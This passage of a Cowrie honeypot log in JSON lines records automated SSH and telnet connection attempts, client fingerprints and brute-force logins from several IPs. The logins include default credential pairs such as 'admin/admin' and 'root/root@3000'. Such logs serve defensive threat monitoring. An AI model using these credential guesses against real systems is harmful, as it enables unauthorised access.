p256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:35:24.027104Z","src_ip":"192.109.200.238","session":"46882bc91a4d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:59:d7:61:1c:f0:db:04:74:12:2e:73:40:87:05:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBNnrI5YzVbYZoCYNlzxmTFzQHcvh01FEy3DAUCZNfedZEgYbuLUVZ4VYh4SSBzLRo68gWEr68zBVa1r1Qj/IFRW5uBI3j3EFez8oeO3yLOhjDG5MSg5c2v/BlCgRmofBrF0oy2mdYk3Rlv5zixyBhjM7HWughPVTooSZWylEizAldpgzw7imiswuoApoLkM14WSBMV0Q4r2lQuYEEPXlogkRkpcj19HUKaI4nSJZAHMST4FoyPf4wivUQuEY4V4Ieai0q6TVpdvWlwAkjJgd8eilrdheBd4JPLDyfTfurhkjq5JukvfCBEF8QVopr1zOxkCI3CXANqc+93XEuRraL5ZTSkCPk5Jy0hlBzrHhG1uHNx8o4poyZWdy8VXP9QbMAhn30ImCAo/8990vd+FB6jbgd8TsxAiOd62F/ezg+syVb4CGPDJh3HBIHIs3iPvALS44VvqBslviklqxMX92CDKbnBcKIJfe8cYocJiMv0bTNSYYiMGoU31cWX7RPXzlyRjoMMOcIvv3jmPaZjLFb+6KLjGJP8wBYlCvaaSeHa+aLHtt1NRm/VbtkKAs1hcUx7YoqfyEXEI21CYd1O4aLidOI4yZxhhc3jslv/t0yYX7EZglhFyqdbVfVqXrMhuzh4wROSsgdwBbZ+6UtbYqrKGQgiWoFbwNKlgSE3aMNMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:59:d7:61:1c:f0:db:04:74:12:2e:73:40:87:05:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:35:24.531747Z","src_ip":"192.109.200.238","session":"46882bc91a4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:59:d7:61:1c:f0:db:04:74:12:2e:73:40:87:05:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBNnrI5YzVbYZoCYNlzxmTFzQHcvh01FEy3DAUCZNfedZEgYbuLUVZ4VYh4SSBzLRo68gWEr68zBVa1r1Qj/IFRW5uBI3j3EFez8oeO3yLOhjDG5MSg5c2v/BlCgRmofBrF0oy2mdYk3Rlv5zixyBhjM7HWughPVTooSZWylEizAldpgzw7imiswuoApoLkM14WSBMV0Q4r2lQuYEEPXlogkRkpcj19HUKaI4nSJZAHMST4FoyPf4wivUQuEY4V4Ieai0q6TVpdvWlwAkjJgd8eilrdheBd4JPLDyfTfurhkjq5JukvfCBEF8QVopr1zOxkCI3CXANqc+93XEuRraL5ZTSkCPk5Jy0hlBzrHhG1uHNx8o4poyZWdy8VXP9QbMAhn30ImCAo/8990vd+FB6jbgd8TsxAiOd62F/ezg+syVb4CGPDJh3HBIHIs3iPvALS44VvqBslviklqxMX92CDKbnBcKIJfe8cYocJiMv0bTNSYYiMGoU31cWX7RPXzlyRjoMMOcIvv3jmPaZjLFb+6KLjGJP8wBYlCvaaSeHa+aLHtt1NRm/VbtkKAs1hcUx7YoqfyEXEI21CYd1O4aLidOI4yZxhhc3jslv/t0yYX7EZglhFyqdbVfVqXrMhuzh4wROSsgdwBbZ+6UtbYqrKGQgiWoFbwNKlgSE3aMNMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:35:24.535840Z","src_ip":"192.109.200.238","session":"46882bc91a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:35:24.633386Z","src_ip":"192.109.200.238","session":"46882bc91a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.67113256454468,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:35:26.906303Z","src_ip":"103.115.172.252","session":"077d1a025926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":42884,"dst_ip":"10.17.0.5","dst_port":23,"session":"368b8b0c60fd","protocol":"telnet","message":"New connection: 45.63.42.31:42884 (10.17.0.5:23) [session: 368b8b0c60fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:35:39.892574Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":41730,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7285614fa6d","protocol":"telnet","message":"New connection: 103.115.172.252:41730 (10.17.0.5:23) [session: f7285614fa6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:36:16.493629Z"}
{"eventid":"cowrie.session.closed","duration":37.17912316322327,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:36:17.071572Z","src_ip":"45.63.42.31","session":"368b8b0c60fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.785253286361694,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:36:55.278746Z","src_ip":"103.115.172.252","session":"f7285614fa6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":33200,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dff8988bbb8","protocol":"telnet","message":"New connection: 103.115.172.252:33200 (10.17.0.5:23) [session: 3dff8988bbb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:37:17.821249Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.252.125.112","src_port":50068,"dst_ip":"159.203.135.109","dst_port":22,"session":"73b817be4014","protocol":"ssh","message":"New connection: 138.252.125.112:50068 (159.203.135.109:22) [session: 73b817be4014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:37:22.835473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:37:22.903629Z","src_ip":"138.252.125.112","session":"73b817be4014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:37:23.162038Z","src_ip":"138.252.125.112","session":"73b817be4014","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:37:24.061975Z","src_ip":"138.252.125.112","session":"73b817be4014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:37:24.334247Z","src_ip":"138.252.125.112","session":"73b817be4014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":22574,"dst_ip":"159.203.135.109","dst_port":22,"session":"c92481b19cb1","protocol":"ssh","message":"New connection: 130.12.180.51:22574 (159.203.135.109:22) [session: c92481b19cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:37:24.457255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:37:24.461942Z","src_ip":"130.12.180.51","session":"c92481b19cb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:37:24.544697Z","src_ip":"130.12.180.51","session":"c92481b19cb1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:37:24.791810Z","src_ip":"130.12.180.51","session":"c92481b19cb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:37:25.327044Z","src_ip":"130.12.180.51","session":"c92481b19cb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.3107373714447,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:37:54.131852Z","src_ip":"103.115.172.252","session":"3dff8988bbb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":17144,"dst_ip":"10.17.0.5","dst_port":22,"session":"01acb6b61447","protocol":"ssh","message":"New connection: 141.11.21.145:17144 (10.17.0.5:22) [session: 01acb6b61447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:38:12.969461Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:38:13.053916Z","src_ip":"141.11.21.145","session":"01acb6b61447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":17160,"dst_ip":"10.17.0.5","dst_port":22,"session":"c28ba66a126e","protocol":"ssh","message":"New connection: 141.11.21.145:17160 (10.17.0.5:22) [session: c28ba66a126e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:38:13.121080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:38:13.125949Z","src_ip":"141.11.21.145","session":"c28ba66a126e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:38:13.204478Z","src_ip":"141.11.21.145","session":"c28ba66a126e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@3000","message":"login attempt [root/root@3000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:38:13.440758Z","src_ip":"141.11.21.145","session":"c28ba66a126e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:38:14.521289Z","src_ip":"141.11.21.145","session":"c28ba66a126e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":55550,"dst_ip":"10.17.0.5","dst_port":23,"session":"c39bef03f9cc","protocol":"telnet","message":"New connection: 103.115.172.252:55550 (10.17.0.5:23) [session: c39bef03f9cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:38:18.724720Z"}
{"eventid":"cowrie.session.closed","duration":36.71446132659912,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:38:55.439049Z","src_ip":"103.115.172.252","session":"c39bef03f9cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":42394,"dst_ip":"10.17.0.5","dst_port":23,"session":"6df2e15afd40","protocol":"telnet","message":"New connection: 103.115.172.252:42394 (10.17.0.5:23) [session: 6df2e15afd40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:39:01.883512Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":47052,"dst_ip":"10.17.0.5","dst_port":23,"session":"2609b6659e76","protocol":"telnet","message":"New connection: 103.115.172.252:47052 (10.17.0.5:23) [session: 2609b6659e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:39:11.781763Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":50104,"dst_ip":"10.17.0.5","dst_port":23,"session":"00f03cf07234","protocol":"telnet","message":"New connection: 103.115.172.252:50104 (10.17.0.5:23) [session: 00f03cf07234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:39:21.934117Z"}
{"eventid":"cowrie.session.closed","duration":43.96000075340271,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:39:45.843386Z","src_ip":"103.115.172.252","session":"6df2e15afd40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.91494703292847,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:39:48.696566Z","src_ip":"103.115.172.252","session":"2609b6659e76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.33050179481506,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:40:06.264521Z","src_ip":"103.115.172.252","session":"00f03cf07234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.94.69.93","src_port":44513,"dst_ip":"159.203.135.109","dst_port":23,"session":"26727a4e21da","protocol":"telnet","message":"New connection: 81.94.69.93:44513 (159.203.135.109:23) [session: 26727a4e21da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:41:34.498218Z"}
{"eventid":"cowrie.session.closed","duration":30.779401540756226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:05.277536Z","src_ip":"81.94.69.93","session":"26727a4e21da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41122,"dst_ip":"159.203.135.109","dst_port":23,"session":"115ee0d34e02","protocol":"telnet","message":"New connection: 194.163.135.148:41122 (159.203.135.109:23) [session: 115ee0d34e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:12.378621Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41124,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e1d76a5cfca","protocol":"telnet","message":"New connection: 194.163.135.148:41124 (159.203.135.109:23) [session: 0e1d76a5cfca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:14.262525Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41134,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cfa16e47210","protocol":"telnet","message":"New connection: 194.163.135.148:41134 (159.203.135.109:23) [session: 9cfa16e47210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:14.733832Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41132,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7b7d06ed162","protocol":"telnet","message":"New connection: 194.163.135.148:41132 (159.203.135.109:23) [session: c7b7d06ed162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:15.285693Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41136,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c14f8942be9","protocol":"telnet","message":"New connection: 194.163.135.148:41136 (159.203.135.109:23) [session: 5c14f8942be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:16.794648Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41148,"dst_ip":"159.203.135.109","dst_port":23,"session":"2472d6f90e80","protocol":"telnet","message":"New connection: 194.163.135.148:41148 (159.203.135.109:23) [session: 2472d6f90e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:19.357230Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41152,"dst_ip":"159.203.135.109","dst_port":23,"session":"eda6d6cfe91e","protocol":"telnet","message":"New connection: 194.163.135.148:41152 (159.203.135.109:23) [session: eda6d6cfe91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:19.388826Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41164,"dst_ip":"159.203.135.109","dst_port":23,"session":"b534ee48e065","protocol":"telnet","message":"New connection: 194.163.135.148:41164 (159.203.135.109:23) [session: b534ee48e065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:20.647816Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41200,"dst_ip":"159.203.135.109","dst_port":23,"session":"4da26ace0c83","protocol":"telnet","message":"New connection: 194.163.135.148:41200 (159.203.135.109:23) [session: 4da26ace0c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:26.941752Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41210,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cb100fe1f39","protocol":"telnet","message":"New connection: 194.163.135.148:41210 (159.203.135.109:23) [session: 1cb100fe1f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:27.783600Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41218,"dst_ip":"159.203.135.109","dst_port":23,"session":"21357a918ff0","protocol":"telnet","message":"New connection: 194.163.135.148:41218 (159.203.135.109:23) [session: 21357a918ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:29.441749Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41222,"dst_ip":"159.203.135.109","dst_port":23,"session":"c86191f45a00","protocol":"telnet","message":"New connection: 194.163.135.148:41222 (159.203.135.109:23) [session: c86191f45a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:30.318182Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41228,"dst_ip":"159.203.135.109","dst_port":23,"session":"66b17eb9f4b8","protocol":"telnet","message":"New connection: 194.163.135.148:41228 (159.203.135.109:23) [session: 66b17eb9f4b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:31.158480Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41236,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d1327d0a02f","protocol":"telnet","message":"New connection: 194.163.135.148:41236 (159.203.135.109:23) [session: 1d1327d0a02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:32.914895Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41242,"dst_ip":"159.203.135.109","dst_port":23,"session":"0697f78cf294","protocol":"telnet","message":"New connection: 194.163.135.148:41242 (159.203.135.109:23) [session: 0697f78cf294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:33.745161Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41256,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd75750532e4","protocol":"telnet","message":"New connection: 194.163.135.148:41256 (159.203.135.109:23) [session: bd75750532e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:35.796249Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41262,"dst_ip":"159.203.135.109","dst_port":23,"session":"52c2b149b510","protocol":"telnet","message":"New connection: 194.163.135.148:41262 (159.203.135.109:23) [session: 52c2b149b510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:36.005333Z"}
